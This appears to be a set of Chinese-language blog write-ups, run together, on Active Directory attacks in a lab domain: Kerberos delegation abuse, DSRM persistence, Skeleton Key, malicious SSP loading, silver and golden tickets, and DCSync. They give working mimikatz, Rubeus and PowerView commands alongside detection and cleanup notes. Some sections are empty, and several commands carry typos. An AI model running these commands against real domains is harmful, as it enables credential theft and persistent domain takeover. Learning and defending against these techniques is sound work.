0%

0x00 前言

参考资料给出自己关于域内委派的一些认识。

委派就是将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。将我的权限给服务账户

域内委派历史发展为:非约束委派 -> 约束委派 -> 基于资源的约束委派,在着稳固防守的方向去发展。测试环境一如既往,此处不再赘述

0x01 简介:

1.域委派将域内用户A的权限委派给服务账户B,使得服务账户B能以域用户A权限开展域内活动,获得相关域内服务资源权限。主要涉及windows的权限控制。假设用户A利用自己的身份可以访问到一个网站B,请求网站的资源C,但是网站B上边本身没有资源C,那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户

2.SPN(ServicePrincipal Names):服务主体名称,是服务实例(如HTTP、SMB、MySQL等服务)的唯一标识符,相当于每个服务(人)的身份证。每个使用Kerberos的服务都需要一个SPN。

  • 一个用户账户可以有多个SPN,一个SPN对应某用户的一个服务
  • SPN扫描可识别内网中正在运行重要服务的主机。
  • SPN分为两种:
    • 一种是注册在AD的机器帐户(Computers)下:当服务权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
    • 一种是注册在**域用户帐户(Users)**下:当服务权限为域用户
  • 默认普通机器账号有权注册SPN,普通域用户账号无权注册SPN

3.服务账号:服务包括http mysql。服务器运行服务时所用的账号,将服务运行起来并加入域。例如 MSSQL Server 在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。

0x02 非约束委派

将域内用户A的权限委派给服务账户B,使得服务账户B能以域用户A权限随时访问任何服务

原理:

当某主机访问配置有非约束性委派主机时,会将自己的可转发TGT发送到配置了非约束性委派的主机上。一旦域管账号访问了配置了非约束性委派的主机,就会把自己的TGT与此TGT中存储的session key留下,可被攻击者利用生成黄金票据

流程如下:

前四步为用户与KDC之间的身份认证和票据授权服务,接下来是牵扯委派的

  1. 用户向KDC请求可转发TGT,记为TGT1
  2. KDC返回TGT1
  3. 用户通过TGT1向KDC申请访问服务1的ST
  4. KDC返回ST
  5. 用户通过TGT1向KDC请求转发TGT2
  6. KDC返回TGT2,此时用户有ST、TGT1和TGT2
  7. 用户发送ST、TGT1、TGT2给服务1
  8. 服务1通过用户的TGT2请求KDC以用户名义请求服务2的ST
  9. KDC返回给服务1服务2的ST
  10. 服务1以用户名义向服务2发出请求
  11. 服务2响应服务1的请求
  12. 服务1响应用户第7步的请求

此流程有个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。

环境搭建:

设置域账号为服务账号,因为只有服务账号才可以开启 S4U 的功能。再将test账户的委派属性设置为非约束委派模式。

发现可利用账户:

在域控主机上用powersploit查询非约束委派的主机和账户:

1
2
3
Import-Module .\powerview.ps1
Get-NetComputer -Unconstrained -Domain wlaq.com
Get-NetUser -Unconstrained -Domain wlaq.com

确保DC的administrator访问win10的winrm:

注:server2008之后,所有的server主机默认开启winrm

在win10上登录用户test,启动winrm服务。远程powershell管理必须启用winrm服务

1
2
3
winrm e winrm/config/listener
winrm quickconfig
Enable-PSRemoting -Force

DC以administrator身份登录WIN-10。

1
Enter-PSSession -ComputerName WIN-10

然后在win10上登陆本地管理员账户swanq抓取TGT并导入本地

1
2
mimikatz "privilege::debug" "Kerberos::list /export" exit //导出票据
mimikatz "privilege::debug" "kerberos::ptt <票据名称>" "kerberos::list" exit //导入票据

访问DC的共享目录成功

由于域控以winrm登录过WIN-10,winrm服务拥有域控用户的TGT,即可以

0x03 传统的约束委派

传统的约束委派是“正向的”,通过修改服务A属性msDS-AllowedToDelegateTo,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向DC请求访问服务B以获得服务票据(ST)来使用服务B的资源。微软在 windows server 2003 中引入了约束委派,引入了 S4U协议对 Kerberos 协议进行拓展, S4U 支持两个子协议:

  • Service for User to Self (S4U2Self)
  • Service for User to Proxy (S4U2proxy)

这两个扩展都允许服务代表用户向 KDC 请求票证。S4U2self:代表以用户的名义请求用户需要服务的 ST;S4U2proxy以用户的名义请求其它服务的 ST,约束委派就是限制了 S4U2proxy 扩展的范围。

原理:

利用约束委派就是想办法去获取可转发的票据,此时方法就是拿下配置了约束性委派的主机和它的hash,就可以劫持此主机的kerberos请求过程,获得任意用户权限的票据

流程如下:

前提:用户已向KDC申请到了专属于访问服务1的TGT

  1. 用户向服务1发出请求
  2. 服务1通过S4U2self扩展模拟用户向KDC请求ST
  3. KDC返回给服务1用于验证服务1的ST
  4. 服务1响应用户请求
  5. 用户此时想通过服务1访问服务2,即委派服务1访问服务2.前提是服务1有TGT和从用户到服务1的可转发ST1
  6. 服务1通过S4U2Proxy扩展请求KDC返回一个用于验证服务2的ST,即ST2
  7. KDC在验证PAC的数字签名后,如果没有失败(成功或没有PAC),将返回ST2给服务1
  8. 服务1代表用户使用ST2请求服务2,服务2判断此用户是否经过KDC验证
  9. 服务2响应服务1的请求
  10. 服务1响应用户请求

在约束委派的情况下,服务用户只能获取某个用户或者主机的ST,只能用模拟用户访问特定的服务,无法获取用户的 TGT

环境搭建:

查询约束委派主机和用户:

1
2
3
Import-Module .\powerview.ps1
Get-DomainComputer -TrustedToAuth -Domain wlaq.com
Get-DomainUser -TrustedToAuth -Domain wlaq.com

发现约束委派用户,添加服务时,并没有cifs服务,windows server 2019并未安装cifs选项。

安装cifs服务,并配置好该用户到域控的cifs协议的约束性委派

提取非约束委派账户test的哈希

用rubeus请求TGT:

模拟ST:

1
Rubeus.exe s4u /ticket:code /impersonateuser:administrator /domain:wlaq.com /msdsspn:cifs/WIN-2019-DC.wlaq.com /dc:WIN-2019-DC.wlaq.com /ptt

或者用kekeo请求TGT,方便后续申请可转发票据ST

然后利用此TGT去申请向TGS申请ST票据:

1
2
//利用这个票据通过伪造S4U请求以administrator身份访问WIN-2019-DC的ST
tgs::s4u /tgt:TGT_test@WLAQ.COM_krbtgt~wlaq.com@WLAQ.COM.kirbi /user:administrator@wlaq.com /service:cifs/WIN-2019-DC.wlaq.com

此时生成对应的AS票据,票据中forwardable代表票据是可转发的

记得将kekeo生成的票据贴到mimikatz所在目录下,通过mimikatz导入生成的可转发票据

1
kerberos::ptt TGS_administrator@wlaq.com@WLAQ.COM_cifs~WIN-2019-DC.wlaq.com@WLAQ.COM.kirbi

此时访问域控共享目录成功:

0x03 基于资源的约束委派

要配置受约束的委派,必须拥有SeEnableDelegation特权,但该特权通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012 引入了基于资源的约束委派(RBCD)。受限委派的机制变成了基于资源的约束委派。基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfOtherIdentity,添加服务A的SPN,让服务A模拟用户访问B资源。

  • 配置在后端目标服务或资源上(例如后端的 CIFS 服务)
  • 允许资源配置受信任的帐户,然后委派给他们。

两者作用相同,但方向相反:

原理:

利用msDS-AllowedToActOnBehalfOfOtherIdentity属性,可在AD基础设施中隐藏特权访问权限。若在krbtgt账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性中设置某用户账户的SID,此账户就可以从AS处拿到有效TGT,也就意味着拿到了黄金票据。

环境搭建:

任何具有计算机帐户写权限的用户都可以设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。此处假设攻击者已经获得写权限,要利用此属性来实现目标的持久化访问。

设置test的写权限:

test作为服务A,在DC上配置test到krbtgt的基于资源的约束委派

1
2
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

获取test的NTLM hash:

使用Rubeus进行基于资源的约束性委派攻击

1
./Rubeus.exe s4u /user:test /rc4:a3101e2adce41a4d7b62dcbd25911391 /domain:wlaq.com /msdsspn:cifs/WIN-2019-DC.wlaq.com /impersonateuser:administrator /ptt

查看共享目录:

检测与防御:

约束性委派:

  • 事件5136记录cifs服务属性更改

  • DC上4769日志请求的服务票据为0x17为RC4-HMAC加密,kerberos目前使用AES加密,所以判断可能是攻击行为

基于资源的约束性委派:

  • 事件5136记录krbtgt账户msDS-AllowedToActOnBehalfOfOtherIdentity属性变更
  • DC上4769日志不安全的RC4加密
  • 事件4738可以检测出哪些用户被设置为密码永不过期
  • 4688可以检测可疑添加修改spn的setspn进程
  • sysmon事件1同样检测进程setspn

清除约束性委派可直接对相应用户清除,约束性委派需设置SPN,且要求目标账户密码用不更新,因此可以检查当前环境下是否存在带有SPN属性的异常账户,并且将所有高权限管理员账户设置为账户敏感且无法委派。检测密码用不更新且有SPN的账户:

1
Get-ADUser -Filter * -Properties ServicePrincipalName, PasswordNeverExpires | ? {($.ServicePrincipalName -ne “”) -and ($.PasswordNeverExpires -eq $true)}

清除基于资源的约束委派可以使用powershell脚本,Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount $null

参考:

  1. https://www.cnblogs.com/Yang34/p/14264356.html
  2. 非约束委派:https://eviladan0s.github.io/2020/04/14/kerberos-delegation/#%E5%88%A9%E7%94%A8
  3. https://www.cnblogs.com/Yang34/p/14264356.html
  4. http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/
  5. SPN:https://www.163.com/dy/article/FC4RFSLI05372NE2.html
  6. https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting
  7. https://www.c0bra.xyz/2020/02/19/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%A7%94%E6%B4%BE%E5%AD%A6%E4%B9%A0/
  8. powershell或cmd执行命令,先去系统变量的路径当中按序查找,找到即执行。若提示找不到,自然需要将相关路径加入系统变量。
  9. 远程powershell管理除了有mstsc之外,还可以用winrm:https://www.cnblogs.com/endv/p/6540584.html
  10. winodws大小写不敏感,Linux不同
  11. UAC:即将申请更高权限的操作(windows表现为界面弹窗),所以才会有bypass uac
  12. ACL:访问控制列表,类似于防火墙的应用上开访问通道
1
2
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/WIN-2019-DC.wlaq.com") }

0x00前言

除了krbtgt账户外,DC上还有一个可以利用的账户:目录服务还原模式账户DSRM。本篇文章主要介绍攻击者在获取域管权限之后,利用DSRM来持久化权限的手法

0x01 简介

DSRM(directory service restore mode目录服务还原模式账户),是Windows域环境中域控制器的安全模式启动选项,每个域控中都有一个本地管理账户,就是DSRM账户,DSRM的作用是允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。

  • 每个域控上的本地管理员账户即目录服务还原模式账户(DSRM)
  • DSRM的密码在DC安装时设置,之后很少被修改,存储在SAM文件中
  • 其他域中密码包括administrator保存在NTDS.dit中,即使被修改对于SAM存储的密码也没影响
  • 修改DSRM的方法为在DC上运行ntdsutil
  • DSRM被修改,即域控的本地管理员的密码hash被修改
  • 但如果修改DC的本地管理员的密码hash,SAM数据库的hash并不会被改变,只会改变ntds.dit文件中的hash

​ 只要攻击者改变了DSRM账户的hash,就算此时应急改变DC管理员的密码,也可以继续利用pth哈希传递攻击。此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。且需要修改DSRM的登录方式。因在windows server 2000及之后对DSRM使用控制台做出了限制。

命令集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NTDSUTIL  //打开ntdsutil 
set dsrm password //设置DSRM密码
reset password on server null //在当前域控上恢复DSRM密码 <password> //修改密码,注意这里输入的是DSRM密码,而不是Administrator的密码
<password> //再次输入
q //退出DSRM密码设置模式
q //退出ntdsutil


mimikatz:
//获取krbtgt的账户密码
lsadump::dcsync /domain:wlaq.com /user:krbtgt
//获取SAM数据库的密码
token::elevate
lsadump::sam

0x02 测试

测试环境

IP 描述 系统
192.168.221.139 DC windows server 2019(x64)
192.168.221.140 域管/域成员 windows 10(x64)

攻击测试

修改DSRM密码之后,抓取的Administrator的SAM数据库中的NTLM-hash就变成了DSRM账户密码。

修改DSRM有两种方法

  1. ntdsutil通过明文密码指定

1
privilege::debug  sekurlsa::pth /user:Administrator /domain:wlaq.com /ntlm:F21AE66FBD82F5A624658BD1CBD0250E

在Windows server2019上注册表并未有以下项限制DSRM登录,故可更改DC上DSRM账户的明文密码

1
HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior

0x04 检测

0x05 防御

总结

参考:

  1. https://docs.microsoft.com/zh-tw/sql/analytics-platform-system/set-admin-password-for-logging-on-to-ad-nodes-in-directory-services-restore-mode?view=aps-pdw-2016-au7
  2. https://www.at449.com/2020/04/27/2017/
  3. 笔误稍多,如NTLM写为NTML,但思路清晰:https://www.freebuf.com/articles/network/278999.html

0x00前言

如上上篇博客所介绍两种利用SSP进行域控权限维持的方法,都需要域控重启才可生效。本篇利用skeleton key则是立即生效,skeleton key可作为金票的替代品。

0x01 简介

  • 在64位域控服务器上使用,因为skeleton key被安装在64位DC上
  • 只是让所有域用户使用同一个万能密码进行登录其目前用户可以用原密码进行登录
  • 但重启后失效

mimikatz万能密码实现原理

在DC上以域控权限运行skeleton,能够将Kerberos认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch一个主密码mimikatz。

0x02 测试

测试环境

IP 描述 系统
192.168.221.139 DC windows server 2019(x64)
192.168.221.140 域管/域成员 windows 10(x64)

攻击测试

1.在DC上以域控权限运行skeleton key,将Kerberos的认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch密码mimikatz。但是为什么要这么做还是得把所有攻击复现完成之后看看mimikatz的源码,这个工程量一定巨大

此处借用后续绕过PPL的图,先提到debug权限,然后patch密码

2.域内用户利用skeleton key登录域控

域控使用密码mimikatz建立IPC连接-net use

域管账户登录域控

普通账户登录域控时可以发现根本没有权限.可以证明只有patch了密码的域管账号才可以查看DC的目录。

LSA保护

为了防止对lsass.exe的代码注入,微软在14年添加了LSA保护策略,便无法使用mimikatz对lsass.exe进行注入。当然需要我们配置一下注册表

重启系统

试试mimikatz直接patch万能密码,发现不可行

绕过LSA

当然对于LSA protection,mimikatz也是有办法绕过的.必须驱动文件:mimidrv.sys。导入驱动文件后,绕过LSA保护

直接用域管账号测试:

测试结束记得重启域控

命令集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 清除net use连接
net use * /del /y
# 用户名密码建立net use共享资源连接
net use \\域控主机全名 mimikatz /user:用户名

# mimikatz patch密码
privilege::debug
misc::skeleton
# 绕过LSA protection
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

0x04 检测

  • 日志4697:记录mimidrv.sys驱动的安装事件
  • sysmon日志13:mimidrv服务及对应的驱动程序
  • sysmon日志6:驱动被加载且未签名

0x05 防御

  • zBang扫描子项:Skeleton Key scan - 发现可能被 Skeleton Key 恶意感染的域控
  • SkeletonKeyScanner脚本扫描,主要通过文件名 Yara规则 已知恶意与非恶意文件的哈希 进程等进行检测:https://github.com/Neo23x0/SkeletonKeyScanner

总结

红队可以用Skeleton Key可在不需要破解任何域用户密码的情况下访问域内主机和网络资源。唯一的缺陷是当DC重启后,将不起作用。

参考:

  1. https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Skeleton%20Key.html
  2. https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
  3. https://pentestlab.blog/2018/04/10/skeleton-key/

前言

在复现SSP攻击的时候遇到了dll文件的分析,听说web学习到后期一定是二进制,那今天就来敲敲二进制的大门吧,如果文章中有不对的地方,敬请指出

检验样本哈希

 

查壳:文件由Visual C++所写,无壳

 

参考:

  1. IDA使用:https://z3r3f.gitee.io/2019/02/15/IDA%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93/

问题:

  1. 导入表
  2. 资源表

0x00前言

咱今儿来看看单纯的维权,如果拿到了目标机器的system权限,可以利用SSP进行维权。其基础环境如下:

IP 描述 系统
192.168.221.139 DC windows server 2019(x64)
192.168.221.140 域管/域成员 windows 10(x64)

0x01 简介

概念:

SSP:Security Support Provider,直译为安全支持提供者,注册表中为Security Package.SSP就是一个用来实现身份认证的DLL

SSPI:Security Support Provider Interface,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。SSPI是SSP的API接口

lsass.exe :作为Windows的系统进程,用于本地安全和登录策略;系统启动时,SSP 将被加载到lsass.exe进程中

LSA :Local Security Authority,用于身份验证; 且可进行扩展。

原理:

因为LSA是可扩展的,所以可以自定义恶意dll,在系统启动时加载到lsass.exe进程中,就可获取lsass.exe中的明文密码。即使用户更改密码并重新登录,攻击者依然可以获取其新密码。

主要有两种攻击方式,体现于0x02和0x03

0x02 memssp加载到内存:

原理:主要通过往lsass进程注入代码来patch其加载的msv1_0.dll中的SpAcceptCredentials函数来恢复凭据信息。

功能:在登录的过程中获取用户的明文密码并存储在system32的mimilsa.log中。此攻击不会在二进制系统中留下二进制文件,一旦域控重启,注入代码就会失效。

1
2
privilege::debug
misc::memssp

系统重启再次进行身份验证的时候,会在System32目录下创建mimilsa.log

0x03 SSP中加载mimilib.dll

原理:mimikatz自带mimilib.dll也实现了SSP功能,mimikatz利用AddSecurityPackage此API来加载SSP,可在不重启的情况下添加mimilib.dll。

该dll包含SpLsaModelntialize导出函数,lsass.exe会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据

操作:

添加SSP

将mimikatz提供的mimilib.dll复制到c:\windows\system32,与lsass进程位置相同,以便获取访问受感染主机的任何用户的登陆凭证

设置SSP

修改DC注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\

1
2
3
4
#修改注册表项
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
#查看注册表项是否注入恶意dll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

重启系统,当域用户再次进行身份验证时-锁屏并打开,将System32目录下创建kiwissp文件,记录用户账户及明文密码

0x04 总结

  • 加载到内存:必须重新登录,重新启动后不会存在
  • ssp中加载dll:必须重启,永久有效

0x05 检测及清理

1.检测

memssp:

  • 只能通过sysmon监控到mimilsa.log创建的日志

    sysmon检测创建文件事件-事件11

SSP中加载mimilib.dll:

  • sysmon4622事件:记录了lsass进程加载mimilib的过程

  • sysmon11事件:mimilib落盘

  • sysmon13事件:注册表修改

  • sysmon7事件:dll加载

2.防御清除:

memssp:

  • 查看Windows\System32下是否有mimilsa.log文件
  • 使用ARK工具查看msv1_0.dll是否已经被inlinehook(修改函数体实现)

mimilib.dll加载:

  • 检测此位置是否加载恶意dll
1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\ 
  • 检测Windows\System32是否有kiwissp.log

Autoruns可用来检测LSA,报告出dll的位置

参考:

  1. 创建的域用户本身拥有登录权限。登录用户名记得是域名\创建用户名

  2. winver查看系统版本

  3. ARK:https://openark.blackint3.com/

  4. 主要参考:https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Security%20Support%20Provider.html

  5. https://yanmie-art.github.io/2021/03/01/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8B%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81/

  6. https://www.cnblogs.com/xiaozi/p/11834327.html

  7. sysmon:https://www.sysgeek.cn/sysmon/

0x00前言

利用PTT票据传递攻击,就可以替代明文密码。PTT包括金票和银票利用

0x01 简介

白银票据用来伪造ST。我们实验利用白银票据提升普通用户的条件、利用方式及检测攻击方式介绍如下

IP 描述
192.168.221.139 DC
192.168.221.140 域成员

0x02票据生成条件

  • 域名

    1
    net config workstation

  • 域SID

    1
    whoami /user

  • 需要目标server的NTLM-hash

    1
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1og.txt

    windows居然可以支持cat哎,太感动了

  • 伪造任意用户名给予某服务权限

0x03 票据伪造及利用:

生成票据:

1
2
kerberos::gloden /user:swanq /domain:wlaq.com /sid:S-1-5-21-160213220-343523822-3012469542
/rc4:44fc74f5b9978830e7ec7dbd66cb4324 /target:WIN-2019-DC.wlaq.com /service:cifs /ptt

此时会成功开启cifs服务的白银票据,即可访问域控主机的共享目录

1
dir \\WIN-2019-DC\c$

为普通域用户增加某计算机的登录权限:AC中某user->右键属性->账户->登录到->下列计算机->键入计算机名即可

1
2
查看计算机名/主机名:hostname
验证某计算机是否位于特定于:nltest /dsgetdc:wlaq

0x04 检测及清理

检测:

请求域控ntlm-hash日志记录如下,注意到在申请ntlm hash时会产生此异地申请hash地址(其中域控IP为139)。

kerberos

此攻击与域控无AS-REQ 、AS-REP通信,也无TGS-REQ / TGS-REP通信。所有的事件日志都在目标服务器上,所以银票的检测比金票更加困难。但是可以通过查看4624的登陆日志,查看IpAddress选项处的IP是否常用用户和请求的SID是否匹配来进行检测。同时结合后续攻击行为来判断域内主机是否失陷。

清除:

银票使用的是server的哈希,存储于存储域中所有用户的密码哈希的KDC密钥分发中心中。

作为使得白银票据持久化的方式,此注册表的键值可用来长期监控以防银票攻击。

参考:

  1. https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/
  2. https://www.jianshu.com/p/4936da524040
  3. https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%83%EF%BC%89PTT-%E7%A5%A8%E6%8D%AE%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/
  4. https://www.k0rz3n.com/2019/03/17/%E6%B5%85%E6%9E%90%20Kerberos%20%E8%AE%A4%E8%AF%81%E8%BF%87%E7%A8%8B%E4%BB%A5%E5%8F%8A%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%92%8C%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/#2-%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE-Silver-Ticket
  5. NTLM-hash:https://www.cnblogs.com/0d4y/p/12805112.html
  6. mimkatz官方参考:https://wooyun.js.org/drops/Mimikatz%20%E9%9D%9E%E5%AE%98%E6%96%B9%E6%8C%87%E5%8D%97%E5%92%8C%E5%91%BD%E4%BB%A4%E5%8F%82%E8%80%83_Part3.html

0x01 概述

DCSync是mimikatz的功能/命令。dcsync特点在于不用登录服务器,就可以远程通过域数据同步复制的方式模仿域控从真实的域控当中请求数据获得想要的用户hash

0x02 dump hash

条件:

有以下任意用户权限即可:

  • Domain Admins组内的用户
  • Administrators组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

原理:

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控复制用户凭据 ??

实现代码:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

维权方法:

  1. mimikatz

    如上上篇博客所写

    1
    2
    3
    4
    #导出所有用户hash
    lsadump::dcsync /domain:wlaq.com /all /csv
    #导出administrator的hash
    lsadump::dcsync /domain:wlaq.com /user:administrator /csv
  2. powershell(对2012及以上不适用)

    Invoke-DCSync:

    \使用mimikatz的dcsync来收集域用户的hash,通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

    https://gist.github.com/monoxgas/9d238accd969550136db

    1
    2
    3
    4
    5
    6
    #先更改powershell的执行策略
    set-executionpolicy bypass -scope process
    #导出域内所有用户的hash:
    Invoke-DCSync -DumpForest | ft -wrap -autosize
    #导出域内administrator帐户的hash:
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

    powerview:

    https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

    利用powerview可向域内的一个普通用户添加如下三条ACE(Access Control Entries):

    1
    2
    3
    DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

    经过实验,添加前两条即可

    1
    2
    3
    4
    5
    6
    #导入powerview
    import-module .\Powerview.ps1
    #向普通用户test添加上面三条ACE-acess control entries
    Add-DomainObjectAcl -TargetIdentity "DC=wlaq,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose
    #删除ACE命令
    Remove-DomainObjectAcl -TargetIdentity "DC=wlaq,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose

    此时test用户即可利用DCSync来导出域内账户的hash,实现如下:

利用powerview获取用户权限

利用powerview向域内普通账户swanq添加三个访问控制项

使用runas登录swanq账户

使用mimikatz dump hash:

0x03检测及清理

检测:

注意windows事件:4662.

此时域成员与终端上都产生了两条ACE被添加的事件日志

清理:

使用zbang自动化检测当前环境是否遭受dcsync攻击:ACLight ->launch

ACLight可以检测出被添加DCSync权限的用户swanq

检测原理:

枚举Active Directory中所有用户的ACL,标记出特权账户

如果已被攻击,powerview清除ACE,参考0x02部分内容

0x04总结

  1. Shadow Admin:具有高权限但不在高权限组的用户,如实验中的域用户swanq,查询高权限组的成员无法发现域内的Shadow Admin,但是zbang可以发现。

  2. ACL和ACE的区别:

    总结:ACL的多个ACE表示拥有不同访问权限的账户或登录会话。通过使用ACE的访问控制项来授予AD域服务中资源的访问权限

  3. 账户:

    • 用户账户可以登录到本机计算机
    • 组用户不可

参考

  1. 主要参考:https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
  2. 附属:https://blog.csdn.net/qq_41874930/article/details/111686683
  3. 工具:https://github.com/cyberark/zBang/releases/tag/v1.1
  4. https://www.youtube.com/watch?v=aSAZzIqGeiY

听说,互联网公司兜兜转转的人很多

听说,我现在呆的地方是君哥和帅哥曾经呆过的地方

突然某日,他被挖了

突然今日,他 也要走了

无妨

江湖路远,来日再见

希望各位继续成长

我也在逐渐向大家看齐

希望等我长成与各位再见

那就熟悉奇安信的安全建设从零到一

那就熟悉各种原理及响应方式

前言

域内常用的两种攻击包括黄金票据Golden ticket和白银票据SILVER TICKET,本篇博客先来介绍一下金票

域环境

ROLE IP OS
DC域控 10.xx.xx.xx 2012

条件:域名+域的SID+KRBTGT的NTLM-hash

票据生成步骤:

  1. 域名

    1
    ipconfig /all
  2. 域的SID值

    1
    lsadump::dcsyns /domain:wlaq.com /user:krbtgt

    SID:500代表管理员

  3. 域的KRBTGT账户NTLM-HASH

    1
    lsadump::dcsyns /domain:wlaq.com /user:krbtgt
  4. 伪造任意域管账号

    1
    net user test password /add /domain

0x01.获取域SID及krbtgt的HTLM-hash

先在DC上新建一个实验用户swanq,此攻击都是基于在域控机子上的普通域内账户.即普通域内账户没有创建域管账户的权限或提升普通用户权限,而利用黄金票据可以做到

获取SID

mimikatz获取域控SID及krbtgt的NTLMhash.可在域控或在登陆过域控账户的域成员上获取

1
lsadump::dcsync /domain:wlaq.com /user:krbtgt

dcsync

概述:mimikatz功能,可模拟DC域控并从DC中导出帐户密码的hash

详解:

  • 在dcsync出现之前,要想获得域用户的hash,必须得先登录域控+在域控上执行代码后才可以获得域用户的哈希。而mimikatz增加的dcsync功能,可以模仿域控从真实的域控当中请求数据

  • dcsync特点在于不用登录服务器,就可以远程通过域数据同步复制的方式获得想要的用户口令。

0x02.伪造票据

在非域控的机子上,需要先清除本地票据缓存,但因此swanq用户刚创建且并未有其他服务需要票据,所以此处为空,不需要

1
kerberos::purge   

得到krbtgt hash后,用mimikatz的Kerberos::golden功能离线生成金票ticket.kiribi伪造TGT

1
kerberos::golden /user:swanq /domain:wlaq.com /sid:{s-1-5-21-xxx}  /krbtgt:{ntlm-hash} /ticket:ticket.kiribi

0x03.票据利用

查看本地保存的票据,确认无误

1
kerberos::list

或者klist也可

将伪造的黄金票据导入内存

1
Kerberos::ptt ticket.kiribi

此时可以直接将DC的C盘映射到本地h盘,进行访问,访问有两种方式:

其一

其二

入DC检查

除了映射之外也可直接添加域管账户

1
net use username password /add /domain

入DC检查

不过此域管账户并没有本地登录权限,还是需要加入administrator组

0x04.检测及清理

检测:

  1. 伪造自己是administrator,此时日志无法检测,但是可以检测是否在常用IP段出现。
  2. 用wireshark可以看到认证流程只有4769->4624

清理:

  1. 即时修改krbtgt账号密码,且需修改两次以确保不保留密码历史记录
  2. 官方有重置密码的脚本,建议定期重置:https://github.com/microsoft/New-KrbtgtKeys.ps1

总结:

  1. 正常的认证访问服务触发事件顺序为:4768(TGT)-4769(TGS)-4624(logon)
  2. mimikatz在win2003及以下导入黄金票据报错
  3. 事件4624-登录
  4. 事件4672-特殊登录:SYSTEM(本地系统)帐户的每次登录都会触发此事件,属正常事件
  5. eventvwr打开windows事件查看器

参考:

  1. chz-大佬竟在我身边:https://zhuanlan.zhihu.com/p/385465988
  2. 域控是最高级,域管是任何被域控加入域管的域成员
  3. 新建域用户之后,需要给域用户配置隶属于管理员的权限,才允许本地登录:https://blog.csdn.net/weixin_43760829/article/details/89437363
  4. 远程桌面命令行指令:mstsc(Microsoft Terminal Server Connection)
  5. 需要熟悉Active Directory 用户和计算机、组策略管理
  6. https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%83%EF%BC%89PTT-%E7%A5%A8%E6%8D%AE%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/#%E8%8E%B7%E5%8F%96krbtgt%E7%94%A8%E6%88%B7%E5%93%88%E5%B8%8C
  7. 存在错误但为主要参考:https://www.jianshu.com/p/4936da524040
